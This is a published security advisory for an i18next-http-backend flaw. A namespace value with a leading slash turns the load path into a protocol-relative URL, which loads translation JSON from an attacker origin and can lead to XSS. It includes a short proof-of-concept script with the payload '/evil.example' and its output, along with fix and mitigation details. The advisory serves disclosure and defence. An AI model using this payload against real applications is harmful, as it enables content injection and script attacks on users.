GHSA-9jhj-wvmw-cfx5: XSS

Published Oct 28, 2026
·
Updated

Affected versions Verified on 4.0.2 (latest on npm) and on commit 07e0288 (the GHSA-xvq9-wjp8-hwqf fix). Earlier 3.x/4.x versions that allow / in ns are likely affected too. Not verified on them.

Impact Same class as GHSA-xvq9-wjp8-hwqf and GHSA-q89c-q3h5-w34g: when an attacker controls the namespace value, the request goes to an attacker-chosen origin. In a browser this loads attacker-controlled translation JSON (content injection into the UI, and XSS where translations are rendered as HTML). The precondition is a template with {{ns}} right after a leading /, for example /{{ns}}/{{lng}}.json. The 4.0.2 maintainer note says templates with a leading / are safe. This case is outside that statement.

Root cause isSafeNsUrlSegment rejects any ns containing //, but allows a single leading / (needed for nested namespaces like a/b). Interpolation into /{{ns}}/... puts the template's own / next to the value's /. The result starts with //, which is a protocol-relative URL. The check runs on the value, not on the final URL.

Minimal PoC js import Backend from 'i18next-http-backend' const b = new Backend(null, { loadPath: '/{{ns}}/{{lng}}.json', request: (opts, url, payload, cb) => { console.log(url, '->', new URL(url, 'https://app.example/').origin); cb(null, { status: 200, data: '{}' }) } }) b.read('en', '/evil.example', () => {}) Observed on 4.0.2: POC ns=/evil.example loadPath=/{{ns}}/{{lng}}.json => url=//evil.example/en.json origin in page https://app.example/ = https://evil.example

Negative controls (same run) - ns //evil.example: rejected ("unsafe lng/ns value"). - lng http:127.0.0.1:9 (the GHSA-xvq9 payload): rejected. - ns common and nested ns a/b: common/en.json and a/b/en.json, same origin.

Suggested fix Validate the final interpolated URL, not just the values: reject it if it starts with // or \, or if it has a scheme or host the template did not have. The advisory already recommends this ("parse the final URL and require it to remain within the intended origin and path"). Alternatively, reject an ns that starts with /.

Disclosure We intend to keep this private for 90 days from the date of the report, or until a fixed release is available, whichever comes first, and are happy to adjust if you need more time.

Re-verification Re-run on 2026-10-14 against the same latest release. The PoC still reproduces and the negative controls still hold.

Reported by Zachariah Mithani.

Maintainer note

Confirmed and fixed in 4.0.3 (commit i18next/i18next-http-backend@042c3d4).

Preconditions. The loadPath / addPath template must put {{ns}} directly after a leading / (for example /{{ns}}/{{lng}}.json), and the attacker must control the namespace value. Applications usually set namespaces in code rather than from user input. The default /locales/{{lng}}/{{ns}}.json, templates with an origin, and templates with a fixed path segment before {{ns}} are not affected. Only browsers are affected: in Node, fetch('//host/...') fails because there is no base URL to resolve against. XSS additionally requires the application to render translations as HTML.

Fix. The 4.0.2 // check looked at each value on its own and could not see the / the template puts in front of it. interpolateUrl now also checks the interpolated URL: it may only start with // or \ if the template itself does. Protocol-relative CDN templates such as //cdn.example/{{lng}}/{{ns}}.json keep working.

Affected range. Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is < 4.0.3.

Related. i18next-fs-backend had the same class of problem for file paths (a leading / in ns, or C: in lng, changing the root of a path built from a template that starts with the placeholder). It is fixed in i18next-fs-backend 2.6.9.

Affected Software

1 affected componentFixes available
npm/i18next-http-backend<4.0.3
4.0.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/i18next-http-backend to a version that resolves this vulnerability.

    Fixed in 4.0.3
  2. Upgrade

    Upgrade i18next-http-backend to a version that resolves this vulnerability.

    Fixed in 4.0.3
  3. Upgrade

    Upgrade i18next-fs-backend to a version that resolves this vulnerability.

    Fixed in 2.6.9

Event History

Oct 28, 2026
Advisory Published
via GitHub·09:07 PM
Data Sourced
via GitHub·09:07 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this issue?

Deployments are exposed when an attacker can control the namespace value and the backend loadPath template places {{ns}} immediately after a leading slash, such as /{{ns}}/{{lng}}.json. Versions verified as affected include 4.0.2 and commit 07e0288; earlier 3.x and 4.x versions that permit slashes in namespaces are likely affected but were not verified.

2

What does an attacker need to exploit it?

The attacker needs control over the namespace value. A namespace beginning with a single slash can combine with the slash already in the loadPath template to create a protocol-relative URL, causing the browser to request an attacker-chosen origin.

3

What is the practical impact in a browser?

The browser can load attacker-controlled translation JSON. This can inject content into the UI and can lead to XSS where translations are rendered as HTML.

4

How can I mitigate the issue if I cannot patch immediately?

Avoid loadPath templates that put {{ns}} immediately after a leading slash, and do not allow attacker-controlled namespace values. In particular, prevent namespace values with a leading slash from being used with templates such as /{{ns}}/{{lng}}.json.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203